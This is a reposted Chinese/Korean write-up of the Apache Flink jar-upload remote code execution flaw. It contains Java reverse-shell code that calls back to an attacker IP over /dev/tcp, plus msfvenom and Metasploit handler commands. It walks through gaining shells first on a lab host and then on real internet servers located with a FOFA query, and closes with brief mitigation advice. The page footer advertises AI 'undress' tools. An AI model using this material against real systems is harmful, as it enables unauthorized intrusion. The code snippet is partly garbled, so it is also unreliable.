찾다
운영 및 유지보수안전Apache flink에 jar 패키지를 업로드하여 발생하는 원격 코드 실행 분석 예

漏洞描述:

2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

影响范围

环境搭建:

(1) 提前安装好java(需要java8以上)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 下载flink-1.9.1

下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解压下载的压缩包:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

(4) 进去到解压后的目录中,来到其bin目录下:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) 启动flink:

./start-cluster.sh

(6) 浏览器访问验证(默认端口为8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

出现上图即搭建成功.

(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后找到了解决方法)

apache flink任意jar包上传导致远程代码执行的示例分析

开机自启设置

漏洞复现:

jar包制作步骤:

(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell

apache flink任意jar包上传导致远程代码执行的示例分析

记得修改ip和端口:

apache flink任意jar包上传导致远程代码执行的示例分析

代码:

<p>package shell;public class Revs {   <br> /**    * @param args    * @throws Exception     */    <br> public static void main(String[] args) throws Exception {        <br> // TODO Auto-generated method stub        <br> Runtime r = Runtime.getRuntime();        <br> String cmd[]= {"/bin/bash","-c","exec 5/dev/tcp/192.168.1.12/9999;<br> cat &5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p><p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>

apache flink任意jar包上传导致远程代码执行的示例分析

b.然后选择java-->Runnable JAR file

apache flink任意jar包上传导致远程代码执行的示例分析

c.然后选择对应的java项目和导出路径以及导出文件名

apache flink任意jar包上传导致远程代码执行的示例分析

图片

这样就生成了一个反弹shell的jar包

msf生成jar马:

(1) 利用msfvenom来生成一个jar马:

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit


(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

本地复现:

(1) 访问目标:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 点击Submit New job,打开上传jar包的页面:

apache flink任意jar包上传导致远程代码执行的示例分析

(3) 点击Add New选择我们制作好的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)

(5) 点击我们刚刚上传的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:

apache flink任意jar包上传导致远程代码执行的示例分析

互联网站点:

fofa关键词:

"apache-flink-dashboard" && country="US"

apache flink任意jar包上传导致远程代码执行的示例分析

(1) 임의의 대상 찾기:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 새 작업 제출을 클릭하면 jar 패키지를 업로드할 수 있는 것을 볼 수 있습니다.

apache flink任意jar包上传导致远程代码执行的示例分析

(3) flink 기능을 사용하여 jar 패키지를 업로드합니다. Jar 패키지 업로드:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 업로드한 후 vps에서 포트를 모니터링합니다

(5) 그런 다음 브라우저로 돌아가서 방금 업로드한 jar 패키지를 선택하고 제출을 클릭하여 제출합니다. 우리 vps가 쉘을 성공적으로 수신한 것을 볼 수 있습니다

apache flink任意jar包上传导致远程代码执行的示例分析

버그 수정:

화이트리스트 IP만 Apache Flink 서비스에 액세스하도록 방화벽 정책을 설정하고 웹에서 이 서비스에 대한 지원을 추가하는 것이 좋습니다. 프록시(예: Apache httpd) 다이제스트 인증.

항상 공식 홈페이지를 주의깊게 살펴보시고 새로운 버전이나 패치 업데이트를 기다려주세요

위 내용은 Apache flink에 jar 패키지를 업로드하여 발생하는 원격 코드 실행 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명
이 기사는 亿速云에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

SublimeText3 영어 버전

SublimeText3 영어 버전

권장 사항: Win 버전, 코드 프롬프트 지원!

ZendStudio 13.5.1 맥

ZendStudio 13.5.1 맥

강력한 PHP 통합 개발 환경

MinGW - Windows용 미니멀리스트 GNU

MinGW - Windows용 미니멀리스트 GNU

이 프로젝트는 osdn.net/projects/mingw로 마이그레이션되는 중입니다. 계속해서 그곳에서 우리를 팔로우할 수 있습니다. MinGW: GCC(GNU Compiler Collection)의 기본 Windows 포트로, 기본 Windows 애플리케이션을 구축하기 위한 무료 배포 가능 가져오기 라이브러리 및 헤더 파일로 C99 기능을 지원하는 MSVC 런타임에 대한 확장이 포함되어 있습니다. 모든 MinGW 소프트웨어는 64비트 Windows 플랫폼에서 실행될 수 있습니다.

Eclipse용 SAP NetWeaver 서버 어댑터

Eclipse용 SAP NetWeaver 서버 어댑터

Eclipse를 SAP NetWeaver 애플리케이션 서버와 통합합니다.

Atom Editor Mac 버전 다운로드

Atom Editor Mac 버전 다운로드

가장 인기 있는 오픈 소스 편집기